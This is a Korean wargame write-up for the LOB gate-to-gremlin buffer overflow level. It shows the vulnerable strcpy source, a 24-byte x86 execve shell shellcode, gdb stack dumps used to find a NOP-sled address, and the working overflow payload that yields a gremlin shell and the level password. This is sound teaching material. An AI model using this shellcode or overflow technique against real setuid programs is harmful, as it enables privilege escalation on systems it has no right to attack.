[1] gate -> gremlin ( Simple BOF ) 문제풀이 및 유의사항

2017. 11. 17. 13:17SystemHacking/LOB(BOF원정대)




# BOF 원정대를 시작하기에 앞서 항상 기억해두어야 할 것이 있습니다

해당 버전의 리눅스에서는  " ff " 입력을 " 00 " 으로 인식하는 오류가 발생합니다

이를 해결하기 위해 항상 문제를 풀기 전에 다음 두개의 명령어를 입력하시고 문제를 진행하시기 바랍니다

1> [~~]$ /bin/bash2 

2> [~~]$ export SHELL=/bin/bash2

환경변수의 SHELL을 변경하는 이유는 gdb 실행시 bash2를 사용해서 gdb를 열도록 하기 위함입니다

그럼 문제풀이 시작하겠습니다



[ gremlin.c ]

1
2
3
4
5
6
7
8
9
10
11
12
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs



[ 24byte Shell Code ] / google에서 linux x.86 shellcode 검색하면 나옵니다

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


< 풀이과정 >

1> 환경변수에 쉘코드를 올린다


[1] $(cmd)

$( ) 내부에 있는 문자열을 명령어로 인식하여 명령어를 실행한 결과를 출력

python -c ' cmd ' 와 함께 사용한다

$( python -c 'print "A" ')    : 파이썬 명령어를 실행 한 결과를 출력해준다


[2] export

전역변수로 선언한다

export tmp=""


[3] env

전역변수의 목록 출력



2> 복사본을 만들어 gdb디버깅 실시

[gate@localhost gate]$ cp gremlin gremlin.cp

[gate@localhost gate]$ gdb -q gremlin.cp

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

....

0x804847a <main+74>:    call   0x8048350 <printf>

0x804847f <main+79>:    add    %esp,8

0x8048482 <main+82>:    leave

0x8048483 <main+83>:    ret


(gdb) b *0x8048482

Breakpoint 1 at 0x8048482

(gdb) run $(python -c 'print "A" * 44 ')

(gdb) x/24x $ebp

0xbffff968:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffff978:     0x41414141      0x41414141      0x41414141      0x41414141

.....

0xbffffa48:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa58:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa68:     0x42414141      0x00424242      0x3d445750      0x6d6f682f

...

(gdb)

0xbffffac8:     0x656c2f6e      0x69707373      0x732e6570      0x73252068

0xbffffad8:     0x706d7400      0x900abf3d      0x90909090      0x90909090    : NOP코드 시작

.....

0xbffffcc8:     0x90909090      0x90909090      0x31909090      0x2f6850c0    : 쉘 코드 시작

0xbffffcd8:     0x6868732f      0x6e69622f      0x5350e389      0xb099e189

0xbffffce8:     0x0080cd0b ....


=> 쉘 코드의 주소 확인 : 0xbffffac80~ 0xbffffcc8 중 적당한 주소를 골라서 사용하면 된다


3> payload 작성

[gate@localhost gate]$ ./gremlin $(python -c 'print "A" * 260 + "\xaa\xfb\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

bash$ id

uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501

hello bof world